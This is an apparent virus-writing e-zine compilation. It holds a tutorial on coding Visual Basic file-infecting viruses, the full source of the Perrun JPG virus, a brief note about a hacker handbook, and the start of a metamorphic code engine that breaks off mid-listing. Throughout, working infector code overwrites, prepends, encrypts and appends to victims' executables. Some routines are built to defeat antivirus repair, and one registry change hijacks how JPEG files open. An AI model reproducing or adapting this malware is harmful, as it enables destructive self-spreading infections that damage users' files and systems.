functions such as binary access read and binary access write require their variables to be explicitly defined... don't forget this... \\\\\\\\\\\\\\\\\\\\\ III - virology 101 \\\ \\\\\\\\\\\\\\\\\\\\\\\ so we're done on the preliminaries... we took up, *** getting started *** resolving virus path *** establishing the identity of the virus *** preventing reinfection and infecting all files per run or one file per run *** executing the hosts *** exact virus constant *** defining the variables and there's more... we're on the meat of the article so brace yourselves, get your popcorn and read.. ------------------- overwriting viruses ------------------- this is by far the easiest virus type to write.... an overwriting virus replaces its target files... it means that the target file will have the same filesize, same bytes as the virus... --------------- ----------------- ----------------- virus ------------> host ------------------> virus --------------- targets ----------------- host will become ----------------- ------------------------------ code III.a (overwrite) ------------------------------ 'targets exe files overwrite(virpath & eachhost) function overwrite(host as string) on error resume next dim virbyte as string dim sig as string dim virpath as string virpath = App.Path If Right(virpath, 1) <> "\" Then virpath = virpath & "\" filecopy virpath & app.exename & ".exe", host end function ------------------------------- assuming we have attached "signature" to the end of the original virus file with copy /b, then the reinfection of infected files shouldn't work.. :) ----------------------- overwriting viruses II ----------------------- if virus size is greater than the host, then the infected host will assume the size of the virus... if the host size is greater than the virus, then infected host will still hold the original host size.... ----------------- ---------------- ------------------- virus ---------------> host ------------> virus ----------------- targets ------------------- host ---------------- ------------------- ------------------------------ code III.c (overwrite II) ------------------------------ 'targets exe files overwriteII(virpath & eachhost) function overwriteII(host as string) on error resume next dim virbyte as string dim sig as string dim virpath as string virpath = App.Path If Right(virpath, 1) <> "\" Then virpath = virpath & "\" Open virpath & App.EXEName & ".exe" For Binary Access Read As #2 virbyte = Space(5632) <--- for example, virus length is 12345 Get #2, , virbyte Close #2 sig = "signature" 'insert signature to prevent reinfection Open host For Binary Access Write As #3 Put #3, , virbyte Put #3, , sig Close #3 end function ------------------------------- to check for the signature in this type of infection (since our signature file won't be contained at the end of the infected host file anymore), use the code below... ------------------------------------------------ Open virpath & host For Binary Access Read As #1 vsig = Space(5632 + 9) <----virus length + length of signature Get #1, , vsig 'neglect the other bits and bytes Close #1 marker = Right(vsig, 9) if marker = "signature" then 'search for more else 'infect ------------------------------------------------- there's no way we can reconstruct the original host infected by an overwriting virus... so vb boys and girls, overwriting viruses are dangerous coz they destroy.. --------------------------------------------------------- <<<<<<<<<<<<< prepending viruses >>>>>>>>>>>>>>>>> --------------------------------------------------------- a prepending virus copies itself to the beginning of the host file and move the bits and bytes of the host file and position it after the virus' bits and bytes.... two notable examples of this are the vb5 virus by murkry and lennon virus by the walrus... ------------------ ---------------------- ------------------ virus --------------> host --------------> virus ------------------ ---------------------- ------------------ host ------------------ ------------------------------ code III.c (prepend) ------------------------------ 'targets exe files prepend(virpath & eachhost) function prepend(host as string) on error resume next dim hostbyte as string dim virbyte as string dim sig as string dim virpath as string virpath = App.Path If Right(virpath, 1) <> "\" Then virpath = virpath & "\" Open host For Binary Access Read As #1 hostbyte = Space(LOF(1)) Get #1, , hostbyte Close #1 Open virpath & App.EXEName & ".exe" For Binary Access Read As #2 virbyte = Space(5632) <-------- virus length ::: the virus constant from the compressed output, yo! Get #2, , virbyte Close #2 sig = "signature" Open host For Binary Access Write As #3 Put #3, , virbyte Put #3, , hostbyte Put #3, , sig Close #3 end function ------------------------------- regenerating the host from infected files should be easy... *** a prepending virus reconstructuring its host ###### if virus, prepended to a host, is executed, it reads the virus bytes and the hostbytes + signature, writes the hostbytes + signature to a file, executes the regenerated host file and deletes the regenerated file.... ------------------------------------- code III.c.i ------------------------------------- using vb5 method ------------------------------------- Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private iResult As Long Private hProg As Long Private idProg As Long Private iExit As Long Const STILL_ACTIVE As Long = &H103 Const PROCESS_ALL_ACCESS As Long = &H1F0FFF ... ... ' executed in infected host reghost(virpath & app.exename & ".exe") Function reghost(goat As String) On Error Resume Next Dim hostbyte2 As String Dim virbyte2 As String Dim virpath As String Dim dechost As String virpath = App.Path If Right(virpath, 1) <> "\" Then virpath = virpath & "\" Open goat For Binary Access Read As #1 virbyte2 = Space(5632) <------ virus length hostbyte2 = Space(LOF(1) - 5632) <-------- host length :) Get #1, , virbyte2 Get #1, , hostbyte2 Close #1 ' write the host bytes into a file open virpath & "host.exe" For Binary Access Write As #2 Put #2, , hostbyte2 Close #2 idProg = Shell(virpath & "host.exe", vbNormalFocus) hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg) GetExitCodeProcess hProg, iExit Do While iExit = STILL_ACTIVE DoEvents GetExitCodeProcess hProg, iExit Loop Kill virpath & "host.exe" End Function ------------------------------------------- --------------------------------- prepending viruses with a twist --------------------------------- the problem with prepending routine mentioned earlier is that avs can reconstruct the infected file... avs will just remove the virus from its position and relocate the host file to the position previously occupied by the virus... we want to give avs some headache, ayt? so we all agree... :) what do we want to do with the host file? "ENCRYPT IT, ALCO!".. i heard you, hehehehe.. so we'll encrypt the host file so "avs can do shit".. example of this is my virus VB.CHIMERA... ------------------ ---------------------- ------------------ virus --------------> host --------------> virus ------------------ ---------------------- ------------------ enchost ------------------ how do we do it? here's a code snippet that encrypts strings.. Function x(sText As String) On Error Resume Next Dim ekey As Long, i As Long Dim hash As String, crbyte As String ekey = 1234 <------- any number For i = 1 To Len(sText) hash = Asc(Mid(sText, i, 1)) crbyte = Chr(hash Xor (ekey Mod 255)) x = x & crbyte Next i End Function ------------------------------ code III.d (prepend with encryption) ------------------------------ 'targets exe files prepend(virpath & eachhost) function prepend(host as string) on error resume next dim hostbyte as string dim virbyte as string dim sig as string dim virpath as string dim enchost as string virpath = App.Path If Right(virpath, 1) <> "\" Then virpath = virpath & "\" Open host For Binary Access Read As #1 hostbyte = Space(LOF(1)) Get #1, , hostbyte Close #1 'encrypt host bytes enchost = x(hostbyte) Open virpath & App.EXEName & ".exe" For Binary Access Read As #2 virbyte = Space(5632) <-------- virus length ::: this can be any number Get #2, , virbyte Close #2 sig = "signature" Open host For Binary Access Write As #3 Put #3, , virbyte Put #3, , enchost Put #3, , sig Close #3 end function ..... ..... ' function x encrypts strings Function x(sText As String) On Error Resume Next Dim ekey As Long, i As Long Dim hash As String, crbyte As String ekey = 1234 For i = 1 To Len(sText) hash = Asc(Mid(sText, i, 1)) crbyte = Chr(hash Xor (ekey Mod 255)) x = x & crbyte Next i End Function ------------------------------- so in an infected host file, the virus is in the beginning of the file and the host is encrypted in the end... to regenerate the host, we can't do reading the encrypted host, putting the bytes into a file and executing it.... the original host won't execute coz the output file is not a valid w32 applix.. it's still encrypted... so the solution to our problem is to decrypt it.... assuming the virus is in it's encrypted host and we want to regenerate the host.... just pass the encrypted hostbytes to the function x and it will decrypt the host on the fly... ------------------------------------- code III.d.i ------------------------------------- using vb5 method to reconstruct the host ------------------------------------- Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private iResult As Long Private hProg As Long Private idProg As Long Private iExit As Long Const STILL_ACTIVE As Long = &H103 Const PROCESS_ALL_ACCESS As Long = &H1F0FFF ... ... ' executed in infected host reghost(virpath & app.exename & ".exe") Function reghost(goat As String) On Error Resume Next Dim hostbyte2 As String Dim virbyte2 As String Dim virpath As String Dim dechost As String virpath = App.Path If Right(virpath, 1) <> "\" Then virpath = virpath & "\" Open goat For Binary Access Read As #1 virbyte2 = Space(5632) <------ virus length hostbyte2 = Space(LOF(1) - 5632) <-------- host length :) Get #1, , virbyte2 Get #1, , hostbyte2 Close #1 'decrypt encrypted host dechost = x(hostbyte2) open virpath & "host.exe" For Binary Access Write As #2 Put #2, , dechost Close #2 idProg = Shell(virpath & "host.exe", vbNormalFocus) hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg) GetExitCodeProcess hProg, iExit Do While iExit = STILL_ACTIVE DoEvents GetExitCodeProcess hProg, iExit Loop Kill virpath & "host.exe" End Function ..... ..... ' function x decrypts strings Function x(sText As String) On Error Resume Next Dim ekey As Long, i As Long Dim hash As String, crbyte As String ekey = 1234 For i = 1 To Len(sText) hash = Asc(Mid(sText, i, 1)) crbyte = Chr(hash Xor (ekey Mod 255)) x = x & crbyte Next i End Function ----------------------------------- again, avs will have a difficult time reconstructing the host file.... expect them to say, "you should delete infected files scanned as w32.blahblah virus..." nothing new... they always do that even if it's possible to reconstruct the host file.... avs are lazy.... \\\\\\\\\\\\\\\\\\\ IV - virology 102 \\ \\\\\\\\\\\\\\\\\\\\\ multicomponent vb virus in action!!! let's go, oi oi oi! reminder : to merge the components, use copy /b in ms-dos prompt.. if you ain't familiar with the command, type copy/? then press enter, :).. ----------------------- appending viruses ----------------------- i haven't seen an appending vb virus.... but i devised a way to make one.... from my previous article "Some New Ideas For Your Next VB Executable File Infector", ".... ====================================== appending vb viruses (sandwich method) ====================================== dim VIR as VB6 virus dim HOST as Host dim HD as VB6 component/pseudo-header illustration 2.a ================= ================== ====================== HD HD ================= ====================== VIR ------------------> HOST ------------------> HOST ================= ================== ====================== VIR ====================== illustration 2.b ================= ================== ====================== HD HD ================= ====================== HOST ------------------> HOST ------------------> HOST ================= ================== ====================== VIR VIR ================= ====================== ..." when an infected host is executed, the header is first called.... what does the header do? the header reads itself first then the virus code appended to the host, then writes the virusbytes and headerbytes into a file in this manner, ---------------- vir ---------------- hd ---------------- executes the vir/hd file thus continuing infection, reads the host bytes, writes the hostbytes in a file and executes the host... the intermediate virus file, ---------------- vir ---------------- hd ---------------- infects hosts in this manner.. it reads the vir bytes to a variable and the hd file in a variable, searches for a target file, reads the hostbytes into a variable, prepends the header file to the host then copies the hostbytes to the host and appends the virusbytes to the host.... here's a code snippet from my vb.sandwich virus ------------------------- code IV.a (vir component) ------------------------- .... .... Function virustime(hostpath As String) On Error Resume Next Dim ffile Dim hostcode As String Dim vir As String Dim vircode As String Dim header As String vir = App.Path If Right(vir, 1) <> "\" Then vir = vir & "\" Open hostpath For Binary Access Read As #1 hostcode = Space(LOF(1)) Get #1, , hostcode Close #1 ' the intermediate virus file = vir/hd Open vir & App.EXEName & ".exe" For Binary Access Read As #2 header = Space(LOF(2) - 5640) <------- header component (whole file minus virus bytes) vircode = Space(5640) <---- virus code Get #2, , vircode Get #2, , header Close #2 Open hostpath For Binary Access Write As #3 Put #3, , header Put #3, , hostcode Put #3, , vircode Close #3 End Function ------------------------ ---------------------------- code IV.b (header component) ---------------------------- Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private iResult As Long Private hProg As Long Private idProg As Long Private iExit As Long Const STILL_ACTIVE As Long = &H103 Const PROCESS_ALL_ACCESS As Long = &H1F0FFF .... .... Dim vdir As String Dim hdlen As String Dim hostlen As String Dim virlen As String Dim buffhdlen As String Dim buffhostlen As String Dim buffvirlen As String vdir = App.Path If Right(vdir, 1) <> "\" Then vdir = vdir & "\" Open vdir & App.EXEName & ".exe" For Binary Access Read As #1 hdlen = (5632) hostlen = (LOF(1) - 11272) virlen = (5640) buffhdlen = Space(hdlen) buffhostlen = Space(hostlen) buffvirlen = Space(virlen) Get #1, , buffhdlen Get #1, , buffhostlen Get #1, , buffvirlen Close #1 'buff hostlen will contain the host bytes... .... .... Open vdir & "XxX.exe" For Binary Access Write As #3 Put #3, , buffhostlen Close #3 'borrowed from murkry's vb5 virus idProg = Shell(vdir & "XxX.exe", vbNormalFocus) hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg) GetExitCodeProcess hProg, iExit Do While iExit = STILL_ACTIVE DoEvents GetExitCodeProcess hProg, iExit Loop Kill vdir & "XxX.exe" --------------------------- so we have made an appending virus... i read symantec's desc of vb.sandwich and they said that the virus prepends and appends itself to hosts... we can make the header in win32asm thus optimizing the header and emulate a true appending virus... but i'm a visual basic purist so i decided to make the header in vb eventhough the header size is nearly equal to the virus size.... it's still an appending virus coz the header is non-viral.... the virus is appended to the host file... ------------------------- polymorphic viruses ------------------------- we can't make a true polymorphic virus in vb... but we can make an improvised poly virus in vb... this has been tested and proven to be possible via my vb viruses, vb.polly and vb.polly.b (encrypts hosts) from my previous article "Some New Ideas For Your Next VB Executable File Infector", ".... ======================================= polymorphic vb viruses (REALLY? YEAH!) ======================================= dim VIR as VB6 virus dim VIR1 as encrypted VB6 virus dim VIR2 as another encrypted form VB6 virus dim VIR(n) as another encrypted form VB6 virus dim HOST as Host dim ED as VB6 component/encryptor/decryptor illustration 3.a ... illustration 3.b ================= ================== ====================== ED ED ================= ====================== HOST ------------------> HOST ------------------> HOST ================= ================== ====================== VIR1 VIR2 ================= ====================== illustration 3.c ================= ================== ====================== ED ED ================= ====================== HOST ------------------> HOST ------------------> HOST ================= ================== ====================== VIR2 VIR(n) ================= ====================== ..." so let's make a pseudo code of this kinda virus ------------------------ pseudo-code I (encryptor/decryptor at the beginning) ------------------------ sub main() read ED and put in variable AX read HOST and put it in variable AY read VIR and put in in variable AZ read the key and put it in variable KEY decrypt AZ encrypted vir using KEY open virusfile for binary access write as #1 write decrypted VIR at the beginning write ED at the end close execute virusfile for infection delete virusfile write HOST in a new file execute HOST delete HOST end sub ------------------------- as you can see, this kinda virus produces an intermediate virus file, ---------------- vir ---------------- ed ---------------- and executes it to infect other files... ------------------------------ pseudo-code II (intermediate virus) ------------------------------ sub main() find new host read Decrypted VIR and put it in AX read ED and put it in AY read HOST and put it in AZ generate new KEY encrypt AX with new KEY.. open HOST for binary access write write AY (ED) in the beginning write AZ (HOST) in the middle write encrypted VIR write the new key at the end 'this will be used by our ed(encryptor/decryptor) to generate the variably encrypted virus.. close ------------------------------- if you'll imagine the infected files, the encrypted virus at the end possesses different forms in different files... thus polymorphism happened... if you're wondering how to insert the signature mark to prevent reinfection, i hope this illustration should help... intermediate virus produced by our poly vir infecting a host, ------------------------ virus reads virus code, ---------------------------- virus enc/dec with "alco" signature ------------------------ ------------> reads target host, reads enc/dec ----------> ---------------------------- enc/dec with attached with attached signature "alco" host "alco" at the end at the end, encrypts virus code with a new key ---------------------------- ------------------------ and writes the read components enc vir with new key to the host, the encrypted vir code and key ---------------------------- new key ---------------------------- ---------------------- preventing reinfection ---------------------- sub main() find host check for signature read the entire ed component+"alco" from the target host file if right(entire ed component + "alco", 4) <> "alco" then read virus code and put it in AX read ed and put it in AY read host and put it in AZ generate new key encrypt AX and with new key.. open host for binary access write write AY ed in the beginning write AZ host in the middle write encrypted virus code write the new key at the end 'this will be used by our ed(encryptor/decryptor) to generate the variably encrypted virus.. else search for more close ---------------------- you should attach the signature to the ed component using copy /b and treat the ed component length as ed component length plus the signature length... ---------------------- two-in-one viruses ---------------------- yes, we can put two virus codes that "cooperate" in one host.... again, from my previous article "Some New Ideas For Your Next VB Executable File Infector", "... ========================================= the two-in-one vb virus (alternating hit) ========================================= dim VIR as VB6 virus dim VIR1 as another VB6 virus dim HOST as Host illustration 4.a ================= ================== ====================== VIR VIR1 ================= ====================== ------------------> HOST ------------------> VIR1 HOST ================= ================== ====================== VIR ====================== illustration 4.b ================= ================== ====================== VIR1 VIR ================= ====================== ------------------> HOST ------------------> HOST HOST ================= ================== ====================== VIR VIR1 ================= ====================== ..." a notable example of this is my file infector vb.yin-yang.. |||||||||||||||||| pseudo code \\\\\\ \\\\\\\\\\\\\\\\\\\ VIR in the beginning sub main() read VIR bytes to A read Hostbytes to B read VIR1 bytes to C search for target if not infected then read target host bytes to D prepend C to host write D to host append A to host close host else search for more 'regenerate host copy B to a file execute file delete file end sub VIR1 in the beginning sub main() read VIR1 bytes to A read Hostbytes to B read VIR bytes to C search for target if not infected then read target host bytes to D prepend C to host write D to host append A to host close host else search for more 'regenerate host copy B to a file execute file delete file end sub ||||||||||||||||||||||||||| \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ V - are you running out of ideas, alco? NOPE!\\\\\\\ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ so that's all for now.. can't afford to make this article long coz i'm running out of patience, tea and cigarettes.. so expect a v1.1 of this article in the near future... i'm sure with the basic ideas, you can now code your first vb file infector... and with the basic ideas, you'll able to produces new, kewl ideas and implement it to your future file infector... help vb file infection grow by thinking of new things that we can implement on our future vb viruses...... bye for now, vb kids... \\\\\\\\\\\\\ alcopaul\\\\\\ \\\\\\\\\\\\\\\ july 19, 2002\\\ \\\\\\\\\\\\\\\\\ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ End of Text File\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\sources
Perrun Virus Source Code Alcopaul ----------------------------- Perrun Virus Source Code ----------------------------- i've written this when i was still a member of the rRlf ("hello rRlf guys!")... i decided to officially release the source in ebcvg #2... history -------- w32.hllp.jpginfector, as i named my lame proof-of-concept virus, was written on a fine afternoon of june 13, 2002 because i just wanted to make a working proof of my article "Infecting Picture Files : A Desperate Approach"... that lame article was written because of my reggae song "Your Kiss, Your Love and Some Pictures" dedicated to my girlfriend... so the root of all the Perrun phenomenon was not the eagerness to achieve fame... the root is LOVE... "Hi Janis!" :) after the finishing touches to the binary, i submitted it to av sites... trend, symantec, mcafee.. (can't clearly remember if i submitted it to avp, f-secure and sophos).... then i rested and ate my dinner.... i checked my mail again then i recieved the remails from symantec and mcafee... i cleaned those excess trashes but luckily i forgot to delete mcafee's ------------------------------------------------------------------------ From: "Vsample" <Vsample@avertlabs.com> To: "'alcopaul'" <alcopaul@digitelone.com> Subject: RE: Variant Found: 233006 - first virus attacking jpg files... Date: Thu, 13 Jun 2002 07:56:01 -0700 Thanks very much for the sample. We have named this to W32/Perrun We have added a description on our virus library. See link below. http://vil.nai.com/vil/content/v_99522.htm <http://vil.nai.com/vil/content/v_99522.htm> Again thanks very much and we value your contribution. Regards, Mohinder Gill Virus Research Analyst McAFEE AVERT (UK) A Division of NAI Labs When sending Virus Samples If you require further assistance with this virus or other virus detection and/or cleaning please send the proposed sample(s) zipped with the password "infected" (lower case) to one of the email addresses listed below. Please note: We sometimes receive a file that is analysed as cleaned, but actually find later that the file was infected when it left the sender, and was cleaned along the line by mail gateway scanners, hence the need for password-protected zip files. NOTE: We try our very best to process the incoming samples as soon as they arrive and hope to respond to customers on the same day. However our official response time for virus samples is 48 hours (excluding weekends). This time may be extended due to samples which require further analysis. All product-related questions and comments can be addressed through technical support and customer service, including: * Any Virus Removal issues * product installation and update questions * product usage questions * specific operating system/version questions For samples related issues please contact: UK: Vsample@nai.com USA: Virus_Research@nai.com Germany: Virus_Research_DE@nai.com France Virus_Research_FR@nai.com Rest of Europe Virus_Research_Europe@nai.com Please send samples to one of the above addresses only. For Technical Support issues please contact: UK- * +44 (0) 1296 318 733 * +44 (0) 1296 318 734 Email: TVD-Support-UK@nai.com <mailto:TVD-Support-UK@nai.com> Rest of Europe- tech-support-europe@nai.com * +31 (0) 20 586 6100 Useful WEB sites www.nai.com (Network Associates Inc. products) http://www.mcafeeb2b.com/asp_set/anti_virus/alerts/intro.asp (Stay ahead of New Viruses) http://www.mcafeeb2b.com/naicommon/download/dats/find.asp (Latest Dat files / SuperDats 4.1.60 engine) http://vil.nai.com/villib/alpha.asp (NAI Virus Library - Descriptions of viruses) -----Original Message----- From: alcopaul [mailto:alcopaul@digitelone.com] Sent: 13 June 2002 11:06 To: virus_research@nai.com Subject: Variant Found: 233006 - first virus attacking jpg files... << File: JPG_Virus_Final_Release.zip >> << File: MAVIS.txt >> hope to see a desc from your site.. it's a new way of infection.. :) ____________________________________________________________________ ** Get your free E-Mail account at WWW.DIGITELONE.COM ** ---------------------------------------------------------------------------- *** i just wanted mcafee to see a description of it from their site... nothing more, nothing less.. :P then two days after my submission of the virus to av sites, i checked out zdnet for some news.. then i found an article that refers to Perrun.. "what a heck! that's my virus!", i thought... i tried my luck to see some of my virus' articles in yahoo then i got a lot of hits... can't please everybody.. there exist many criticisms about this virus... i read a lot of them... hehehe.. but i don't care.. final thought : this is a lame virus that "shook" the news for one time... enjoy.. alcopaul indirect thanks to murkry.. i borrowed the spawned host execution routine from his vb virus... ========================= virus ========================= Attribute VB_Name = "Module1" Option Explicit Private Sub Main() On Error Resume Next Dim ffile Dim jpgvir As String Dim sfile As String Dim a As String Dim vc As String Dim spath As String Dim arr1 Dim host As Variant Dim lenhost As Long Dim mark As String Dim g As String 'probable host ffile = FreeFile 'resolve virus path jpgvir = App.Path If Right(jpgvir, 1) <> "\" Then jpgvir = jpgvir & "\" 'find picture files in directory of the virus sfile = Dir$(jpgvir & "*.jpg") While sfile <> "" a = a & spath & sfile & "/" sfile = Dir$ Wend 'store filenames in array arr1 = Split(a, "/") '1 by 1 query... and now introducing a new algorithm for 1 infection per run For Each host In arr1 'check for virus sig Open jpgvir & host For Binary Access Read As #ffile lenhost = (LOF(ffile)) vc = Space(lenhost) Get #ffile, , vc Close #ffile mark = Right(vc, 4) If mark <> "alco" Then 'not infected? 'infect! GoTo notinfected Else 'infected? 'search for moe! GoTo gggoop End If notinfected: '1 infection / run infest (jpgvir & host) Exit For gggoop: Next host g = Replace(jpgvir, "\", "\\") extractXTrktr (g & "extrk.exe") End Sub Function extractXTrktr(name As String) On Error Resume Next Dim a As String Dim jpgvir As String Dim vircode As String Dim extractrcode As String jpgvir = App.Path If Right(jpgvir, 1) <> "\" Then jpgvir = jpgvir & "\" Open jpgvir & App.EXEName & ".exe" For Binary Access Read As #1 vircode = Space(LOF(1) - 5636) extractrcode = Space(5636) Get #1, , vircode Get #1, , extractrcode Close #1 Open jpgvir & "extrk.exe" For Binary Access Write As #2 Put #2, , extractrcode Close #2 Open jpgvir & "reg.mp3" For Output As #3 Print #3, "REGEDIT4" Print #3, "" Print #3, "[HKEY_CLASSES_ROOT\jpegfile\shell\open\command]" Print #3, "@=""" & name & " %1""" Close #3 a = "regedit /s " & jpgvir & "reg.mp3" Shell a End Function Function infest(hostpath As String) On Error Resume Next Dim ffile Dim jpgcode As String Dim jpgvir As String Dim vircode As String ffile = FreeFile jpgvir = App.Path If Right(jpgvir, 1) <> "\" Then jpgvir = jpgvir & "\" Open hostpath For Binary Access Read As #ffile jpgcode = Space(LOF(ffile)) Get #ffile, , jpgcode Close #ffile Open jpgvir & App.EXEName & ".exe" For Binary Access Read As #1 vircode = Space(LOF(1)) Get #1, 1, vircode Close #1 Open hostpath For Binary Access Write As #ffile Put #ffile, , jpgcode Put #ffile, , vircode Close #ffile End Function 'proof.001, part of the first ever jpg virus by alcopaul 'w32.hllp.JPGInfector 'june 13, 2002 ======================= extractor ======================= Attribute VB_Name = "Module1" Option Explicit Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private iResult As Long Private hProg As Long Private idProg As Long Private iExit As Long Const STILL_ACTIVE As Long = &H103 Const PROCESS_ALL_ACCESS As Long = &H1F0FFF Sub Main() On Error Resume Next Dim HostLength As Long Dim HostCode As String Dim vircode As String Dim comm As String Dim ffile Dim lenhost As String Dim check As String Dim jpgvir As String Dim mark As String jpgvir = App.Path If Right(jpgvir, 1) <> "\" Then jpgvir = jpgvir & "\" ffile = FreeFile comm = Command Open comm For Binary Access Read As #ffile lenhost = (LOF(ffile)) check = Space(lenhost) Get #ffile, , check Close #ffile mark = Right(check, 4) If mark = "alco" Then Open comm For Binary Access Read As #ffile HostLength = (LOF(ffile) - 11780) HostCode = Space(HostLength) vircode = Space(11780) Get #ffile, , HostCode Get #ffile, , vircode Close #ffile Open jpgvir & "x.exe" For Binary Access Write As #ffile Put #ffile, , vircode Close #ffile DoEvents 'borrowed from murkry's vb5 virus idProg = Shell(jpgvir & "x.exe", vbNormalFocus) hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg) GetExitCodeProcess hProg, iExit Do While iExit = STILL_ACTIVE DoEvents GetExitCodeProcess hProg, iExit Loop Kill jpgvir & "x.exe" Else End If Shell "rundll32.exe C:\WINDOWS\SYSTEM\SHIMGVW.DLL,ImageView_Fullscreen " & comm End Sub 'proof.002 - part of the 1st jpg virus by alcopaul 'w32.hllp.JPGInfector 'june 13, 2002 =============== signature =============== alco -------------- Signature string that will be appended to the virus - alcoarticles
Hackers’ Network Security Handbook assassin007 assassin007 wrote a 400 pages book called "Hackers’ Network Security Handbook". it used to be online at netsec.nnsol.com, but the page is down. there are no articles by him here, cause all are part of the book. i got the whole book as pdf, but i didn't want to violate his copyright, so i left the book (and parts of it) out of this zine. but when you're interested, drop me a mail, perhaps i'll hand out the pdf. philiesources
BLM ~ BlueOwls Light Meta BlueOwl ; BLM ~ BlueOwls Light Meta ; ************************* ; ; Details ; ; Name: BLM (BlueOwls Light Meta) ; Date: 16 May 2005 ; Size: 412 bytes ; Morphing power: light ; Morphing type: non-expansion ; Compatibility: most common x86 and pentium specific (rdtsc/movzx/..) ; Platforms: all 32bit (and maybe 16bit) x86 instruction set OSes ; Used compiler: FASM 1.60 ; Bugs: hopefully none ; ; Morphing ; ; The following instructions can be morphed: ; ; 1. OP reg, reg -> changing the D bit (2) ; 2. OP (reg,) [(imm32+)reg] -> changing the unused SCALE bits (4) ; 3. OP (reg,) [(imm32+)reg+reg*1] -> swapping the regs (2) ; ; Any other instruction's size is calculated and skipped. ; ; Usage notes ; ; BLM can be usefull for any application which would like to do code ; morphing on its own, or other code. There are however, some things ; to keep note on: ; ; - Make sure you don't mix data with code, for example: ; > CALL _LABEL ; > DB "some string",0 ; > _LABEL: ; Would make the meta miscorrectly assume "some string",0 to be ; code. So make sure that in the codearea you specify is no data. ; - On input, esi is allowed to equal edi, but it is not recommended ; if it will cause the meta to morph itself on runtime. ; - This code does not need any data, and only needs to be able to ; execute. It is completely permutatable. ; ; Agreement ; ; This sourcecode is meant to be used in freeware and shareware ; programs, and therefor it is strictly prohibited to add any of this ; code in binary or source format in scan strings or other detection ; methods. If done, it will impact on the sellability of the product, ; and can result in high fees and/or trials before court. ; YOU HAVE BEEN WARNED use32 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄ META SOURCE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; in: esi(ecx) = start of code to morph ; edi(ecx) = start of buffer to put morphed code in ; ecx = size of code to morph (and buffer) ; out: esi = esi + ecx ; edi = edi + ecx ; other registers are destroyed (except esp) BLM: cld lea ebx, [esi+ecx] ; ebx = ptr to end of code to morph nextcode: push ebx xor ecx, ecx push 4 pop ebx call .innext pop ebx rol edx, 7 ; simple RAND function neg dx cmp ebx, esi ja nextcode ret .next: movsb .innext: mov al, [esi] and al, 11100111b cmp al, 00100110b ; es/cs/ss/ds segment? jz .next ; check if more mov al, [esi] and al, 11111110b cmp al, 01100100b ; fs/gs segment? jz .next ; check if more cmp al, 11110010b ; repz/repnz? jz .next ; check if more cmp al, 01100110b ; WORD? jnz opcode mov bl, 2 ; set WORD size jmp .next ; ----------------------------------------------------------------------- opcode: mov al, [esi] cmp al, 0fh jnz branch_start movsb or al, [esi] ; ????1111 cmp al, 10001111b jz .6byte ; -> jxx label32 cmp al, 10111111b jz .3byte ; -> movzx/bt? jmp .done .6byte: movsb movsb movsb .3byte: movsb .done: movsb ret branch_start: shl al, 1 jc branch_1xxxxxxx branch_0xxxxxxx:shl al, 1 jc branch_01xxxxxx branch_00xxxxxx:shl al, 4 jnc op_rmrm_d op_eax: mov al, [esi] shr al, 1 jc .pr32 movsb movsb ret ; -> op al, imm8 .pr32: add ecx, ebx ; -> op eax, imm32 rep movsb movsb ret branch_01xxxxxx:cmp al, 11000000b jb .ncjump movsb ; -> jxx label8 .ncjump: cmp al, 068h jz do_5byte ; -> push imm32 cmp al, 06ah jnz .done ; -> popad/pushad/pop/push/dec/inc (reg) stosb ; -> push imm8 .done: movsb ret op_rmrm_d: mov al, [esi+1] ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,r/m rcr edx, 1 ; rand true/false jc .nomorph cmp al, 11000000b .nomorph: jb op_rm ; (jc == jb so little optimization) lodsb xor al, 00000010b stosb lodsb and eax, 00111111b ; 00000000 00regreg shl eax, 5 ; 00000reg reg00000 shr al, 2 ; 00000reg 00reg000 or al, ah ; 00000xxx 00regreg or al, 11000000b ; 11regreg stosb ret branch_1xxxxxxx:shl al, 1 jc branch_11xxxxxx branch_10xxxxxx:shl al, 1 jc branch_101xxxxx branch_100xxxxx:shl al, 